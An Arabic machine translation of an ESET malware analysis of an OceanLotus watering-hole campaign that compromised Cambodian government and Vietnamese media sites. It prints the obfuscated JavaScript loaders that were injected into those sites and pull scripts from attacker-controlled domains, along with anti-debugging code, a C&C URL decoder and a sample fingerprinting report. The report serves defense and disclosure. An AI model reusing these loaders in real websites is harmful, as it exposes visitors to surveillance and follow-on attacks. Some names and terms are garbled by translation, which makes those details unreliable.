OceanLotus: هجوم ثقب الري في جنوب شرق آسيا

حلل متخصصو ESET حملة ثقب الري الجديدة ، والتي تستهدف مواقع متعددة في جنوب شرق آسيا. يزعم ، أن المهاجمين كانوا يعملون منذ بداية سبتمبر 2018. تختلف الحملة من حيث الحجم - فقد تمكنا من اكتشاف 21 مصدرًا للخطر ، بما في ذلك المواقع الإلكترونية لوزارة الدفاع الكمبودية ووزارة الخارجية والتعاون الدولي في كمبوديا ، فضلاً عن العديد من الصحف والمدونات الفيتنامية.


بناءً على التحليل ، وجدنا أن الحملة تنفذها مجموعة OceanLotus ، والمعروفة أيضًا باسم ART32 و ART-S-00. تعمل المجموعة منذ عام 2012 على الأقل وتتخصص في التجسس الإلكتروني ، مع اهتمام خاص بالوكالات الحكومية والمعارضين.

يبدو أن الحملة هي عبارة عن تطور لنظام ثقب سقي OceanLotus ، والذي وثقه باحثو Volexity في عام 2017 تحت اسم Framework B. منذ العام الماضي ، تعلمت cybergroup أن تجعل من الصعب تحليل أطرها الضارة. من بين التحسينات الأخرى ، لاحظنا استخدام تشفير المفتاح العمومي لتبادل مفتاح جلسة AES. يتم استخدام الطريقة لتشفير تبادل البيانات الذي لا يسمح لمنتجات الأمان باعتراض الحمولة النهائية. بالإضافة إلى ذلك ، تحول المهاجمون من HTTP إلى WebSocket لإخفاء تبادل البيانات الضارة.

قام كل موقع من مواقع الويب التي اكتشفها خبراء ESET بإعادة توجيه الزائرين إلى مجال منفصل يتحكم فيه OceanLotus.

توضح الصورة أدناه المناطق المستهدفة من الحملة.


الشكل 1. جغرافيا المواقع للخطر

أكثر المجالات تعرضا للخطر هي وسائل الإعلام أو تتعلق بحكومة كمبوديا. وفيما يلي قائمة الضحايا. لقد حذرناهم من التسوية في أكتوبر ، ولكن في نهاية عام 2018 ، بقيت البرامج النصية الضارة في بعض المواقع:

- baotgm [.] صافي - وسائل الإعلام الفيتنامية (مقرها في أرلينغتون ، تكساس)
- cnrp7 [.] ORG - موقع حزب الخلاص الوطني في كمبوديا
- conggiaovietnam [.] صافي - المحتوى الديني باللغة الفيتنامية
- daichungvienvinhthanh [.] كوم - المحتوى الديني باللغة الفيتنامية
- danchimviet [.] معلومات - وسائل الإعلام الفيتنامية
- danviet [.] Vn - وسائل الإعلام الفيتنامية
- danviethouston [.] كوم - وسائل الإعلام الفيتنامية
- fvpoc [.] ORG - منظمة عامة فيتنامية
- gardencityclub [.] كوم - موقع نادي الغولف في بنوم بنه ، كمبوديا
- lienketqnhn [.] ORG - وسائل الإعلام الفيتنامية
- mfaic.gov [.] Kh - وزارة الخارجية والتعاون الدولي في كمبوديا
- mod.gov [.] Kh - وزارة الدفاع الكمبودية
- mtgvinh [.] صافي - المحتوى الديني باللغة الفيتنامية
- nguoitieudung.com [.] Vn - وسائل الإعلام الفيتنامية
- phnompenhpost [.] كوم - وسائل الإعلام الكمبودية باللغة الإنجليزية
- raovatcalitoday [.] كوم - موقع باللغة الفيتنامية
- thongtinchongphandong [.] كوم - وسائل الإعلام المعارضة في الفيتنامية
- tinkhongle [.] كوم - وسائل الإعلام الفيتنامية
- toithichdoc.blogspot [.] كوم - الفيتنامية بلوق
- trieudaiviet [.] كوم - موقع باللغة الفيتنامية
- التافه [.] أخبار - وسائل الإعلام الفيتنامية

في هجمات ثقب الري ، يهاجم المهاجمون عادة المواقع التي يزورها الضحايا المحتملون بشكل متكرر. ومع ذلك ، في هذه الحملة ، قامت مجموعة OceanLotus باختراق العديد من المواقع الشعبية. فيما يلي قائمة بالمواقع المعرضة للخطر وتصنيفها لـ Alexa : عالمي وفي البلد الذي يتمتع فيه الموقع بشعبية أكبر. على سبيل المثال ، كان الموقع الإلكتروني لصحيفة دان فيت (danviet [.] Vn) في نهاية عام 2018 على السطر 116 من حيث الحضور في فيتنام.

- danviet [.] Vn - 12 887/116
- phnompenhpost [.] كوم - 85 910/18 880
- nguoitieudung.com [.] VN - 261 801/2 397
- danchimviet [.] معلومات - 287 852/144 884
- baotgm [.] Net - 675 669/119 737
- toithichdoc.blogspot [.] Com - 700 470/11532
- mfaic.gov [.] KH - 978 165/2 149
- conggiaovietnam [.] صافي - 1040 548/15 368
- thongtinchongphandong [.] كوم - 1 134 691/21 575
- tinkhongle [.] كوم - 1 301 722/15 224
- daichungvienvinhthanh [.] كوم - 1،778،418 / 23،428
- mod.gov [.] KH - 4،247،649 / 3،719

تحليل


لجميع المواقع الشبهة ، تم استخدام أساليب مماثلة. أضاف المهاجمون جزءًا صغيرًا من كود JavaScript إلى الصفحة الرئيسية ، أو إلى ملف JavaScript منشور على نفس الخادم. تقوم جزء الشفرة المعسوسة قليلاً (انظر أدناه) بتحميل نص آخر من خادم يتحكم فيه المهاجم. في ما يلي مقتطف جافا سكريبت الذي تمت إضافته إلى https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js ، الذي يقوم بتنزيل الملف من https://weblink.selfip[.]info/images/cdn.js?from=maxcdn .

 (function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self'); 

لتجنب الاكتشاف ، اتخذ المهاجمون الإجراءات التالية:

- يحجبون البرامج النصية لمنع تخصيص عناوين URL النهائية الثابتة
- يشبه عنوان URL مكتبة JavaScript الحقيقية التي يستخدمها الموقع
- لكل موقع خطر ، يتم استخدام مجال منفصل و URI.
- جميع المواقع للخطر لها نصوص مختلفة. فيما يلي نص برمجي يتم تنفيذه في أحد المواقع المعرضة للخطر:

 var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc); 

المرحلة الاولى


بناءً على موقع عنوان IP الخاص بالزائر ، يقوم خادم المرحلة الأولى (على سبيل المثال ، weblink.selfip[.]info mfaic.gov[.]kh ) بنقل برنامج نصي مزيف (مكتبة JavaScript شرعية عشوائية) أو برنامج نصي للمرحلة الأولى (على سبيل المثال ، SHA- 1: 2194271C7991D60AE82436129D7F25C0A689050A). لا تقوم جميع الخوادم بإجراء عمليات فحص المواقع ، ولكن إذا كان هناك خادم واحد ، فإن الزوار من فيتنام وكمبوديا فقط يتلقون نصًا ضارًا.

يحتوي البرنامج النصي للمرحلة الأولى على عدة اختبارات لمنع الاكتشاف ، كما هو موضح أدناه.

 […] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […] 

سينتظر البرنامج النصي حتى ينتقل الضحية إلى الصفحة. يتحقق أيضًا من دقة النافذة وما إذا كان Firebug ، وهو مكون إضافي يستند إلى المستعرض لتحليل صفحات الويب ، ممكّنًا أم لا. في حالة فشل عملية تحقق واحدة على الأقل ، يتم إنهاء التنفيذ.

ثم يقوم بفك تشفير مجال خادم أمر C&C باستخدام خوارزمية مخصصة. على سبيل المثال ، 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 تعني wss://tcog.thruhere[.]net . لكل مجال من مجالات المرحلة الأولى ، قام المهاجمون أيضًا بتسجيل مجال من المرحلة الثانية ، وكلهم موجودون على خوادم مختلفة. الرمز أدناه هو ما يعادل وظيفة فك التشفير المكتوبة في بيثون.

 def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2)) 

بعد فك تشفير عنوان C&C ، يرسل البرنامج النصي سلسلة فريدة مكونة من 15 رقمًا ، ثم يتلقى البرنامج النصي للمرحلة الثانية ويقوم بتشغيله. يتم تبادل البيانات عبر WebSocket أو SSL. يوفر البروتوكول اتصالًا ثنائي الاتجاه في وقت واحد بين العميل والخادم. هذا يعني أنه بعد قيام العميل بتأسيس اتصال ، يمكن للخادم إرسال البيانات إلى العميل حتى بدون طلب. ومع ذلك ، في حالة معينة ، يتم استخدام البروتوكول في المقام الأول لتجنب الكشف.

المرحلة الثانية


السيناريو المرحلة الثانية هو للاستطلاع. استخدم مطورو OceanLotus مكتبة fingervejs2 الخاصة بـ Valve ، والمتاحة على GitHub ، مع تغييرات طفيفة - إضافة مشاركة الشبكة وإنشاء تقرير خاص.

يوضح الشكل التالي الإجراءات المختلفة التي يقوم بها البرنامج النصي. يتم الاتصال من خلال جلسة WebSocket التي بدأت بالخطوة الأولى.


الشكل 2. مخطط المرحلة الثانية من الحمولة

يتم تشفير الاتصال باستخدام مفتاح جلسة AES الذي تم إنشاؤه بواسطة الخادم. يتم تشفيره باستخدام مفتاح عمومي RSA 1024 بت وإرساله إلى العميل ، لذلك لا يمكن فك تشفير تبادل البيانات بين العميل والخادم.

مقارنة بالإصدارات السابقة من إطار فتحة سقي OceanLotus ، من الصعب حماية نفسك من هذا لأنه لا يمكن اكتشاف وفك تشفير نقل البيانات عبر الشبكة. هذا يمنع اكتشاف شبكة البيانات. لا يتغير المفتاح العمومي المنقول بواسطة الخادم وهو مدرج في قسم IoC.

يقوم البرنامج النصي للاستطلاع بإنشاء تقرير مشابه للتقرير أدناه ويرسله إلى خادم C&C للمرحلة الثانية.

 { "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...] 

يتطابق هذا التقرير تقريبًا مع التقرير الصادر عن OceanLotus Framework B ، والذي تم توثيقه بواسطة Volexity في عام 2017. أقسامها متشابهة وتحتوي على أخطاء مطبعية. نظرًا لهذا التشابه وموقع الأهداف ، يمكننا القول بدرجة عالية من اليقين أن شركة OceanLotus هي التي تدير الحملة.

يحتوي التقرير الذي تم إنشاؤه على معلومات مفصلة حول متصفح الضحية والموقع الذي تمت زيارته: وكيل المستخدم ، رأس طلب إحالة HTTP ، عنوان IP المحلي والخارجي ، المكونات الإضافية وإعدادات لغة المتصفح.

بالإضافة إلى ذلك ، يحتوي كل جهاز على معرّفين فريدين : client_zuuid و client_uuid . يمكن استخدامها لتحديد المستخدمين وتتبع زياراتهم. كانت هذه المعرفات موجودة فعليًا في إصدار عام 2017 من الإطار ، وتم حساب client_uuid بطريقة مماثلة.

قيمة client_zuuid هي سلسلة من القيم deviceId المتنوعة الموجودة في navigator.mediaDevices.enumerateDevices. الأجهزة هي أجهزة خارجية يمكن للمستعرض الوصول إليها ، مثل الكاميرات والميكروفونات. وبالتالي ، يجب أن تتطابق قيمة مستخدم واحد أثناء زيارات مختلفة من نفس الكمبيوتر.

قيمة client_uuid هي تجزئة MD5 لبصمات الأصابع المخصصة بواسطة fingerprintjs2. تتضمن البيانات التي تم جمعها وكيل مستخدم المتصفح واللغة والمنطقة الزمنية والمكونات الإضافية للمتصفح والخطوط التي يمكن الوصول إليها من المستعرض. ومرة أخرى - يجب أن تكون القيمة متطابقة لجميع الزيارات ، فقط إذا لم يقم المستخدم ، على سبيل المثال ، بتحديث المتصفح أو عدم تسجيل الدخول من جهاز آخر.

أخيرًا ، يمكن للخادم إرسال شفرة JavaScript إضافية إلى كمبيوتر الضحية ، وربما هذا هو المكون الذي تم تسليمه. لسوء الحظ ، نظرًا لاستخدام مفتاح جلسة AES لفك تشفير تبادل البيانات ، لم نتمكن من تحديد المكون الذي يتم تسليمه بواسطة المتسللين في العينات البرية. بالإضافة إلى ذلك ، يتم تسليم الحمولة فقط لبعض الضحايا. وبالتالي ، باستخدام آلة اختبار ، لم نتمكن من الحصول عليها. ومع ذلك ، وفقًا للتقارير السابقة ، فإن حملات ثقب الري في OceanLotus تستهدف التصيد. على سبيل المثال ، كتب Volexity في أحد التقارير أن المستخدمين شاهدوا نافذة منبثقة تطلب منهم السماح بالوصول من خلال بروتوكول OAuth المفتوح إلى حساب Google للضحية لتطبيق OceanLotus Google App. باستخدام هذه التقنية ، يمكن للمهاجمين الوصول إلى جهات اتصال الضحية ورسائل البريد الإلكتروني.

البنية التحتية للشبكة


لأقصى قدر من العمل السري ، قام مشغلو OceanLotus بتسجيل نطاق واحد للمرحلتين الأولى والثانية لكل موقع من المواقع المعرضة للخطر. يتم استضافة كل مجال على خادم منفصل بعنوان IP الخاص به. تم تسجيل 50 نطاقًا على الأقل و 50 خادمًا لهذه الحملة.

يتم تسجيل معظم نطاقات المرحلة الأولى على الخدمات بأسماء النطاقات المجانية ، ويتم دفع نطاقات المرحلة الثانية أساسًا. من بين أشياء أخرى ، يتم إخفاء أسمائهم على أنها شرعية. فيما يلي قائمة بالخدمات التي حاول المهاجمون نسخها - C&C ومجال قانوني ، على التوالي:

- cdn-ampproject [.] Com / cdn.ampproject.com
- bootstraplink [.] كوم / getbootstrap.com
- sskimresources [.] كوم / s.skimresources.com
- الحاجيات - الفسفور الابيض [.] كوم / widgets.wp.com

قد يؤدي عدد المجالات المستخدمة وتشابهها مع المواقع الشرعية إلى تعقيد عملية الكشف من قِبل شخص يشاهد حركة مرور الشبكة.

الخاتمة


على الرغم من اهتمام الباحثين في مجال الأمن ، تواصل OceanLotus مهاجمة أهداف في جنوب شرق آسيا بنجاح. بالإضافة إلى ذلك ، تعمل المجموعة على تحسين الأدوات من خلال تضمين إطار في ترسانتها إطارًا لهجمات فتحات السقوط والبرامج الضارة لنظام التشغيل Windows و macOS. تشير تحديثات الإطار الحديثة التي تمت مناقشتها في هذا التقرير إلى أن المهاجمين قاموا بتحسين مهاراتهم.

للحد من عدد الضحايا المحتملين ، أخبرنا مالكي المواقع المعرضة للخطر وشرحنا كيفية إزالة شفرة JavaScript الضارة. ومع ذلك ، لم يبد البعض منهم استعدادًا لقبول المعلومات والمساعدة.

سيستمر باحثو ESET في مراقبة تطور مجموعة OceanLotus. يمكن الاطلاع على مؤشرات التسوية على جيثب .

Source: https://habr.com/ru/post/ar436136/


All Articles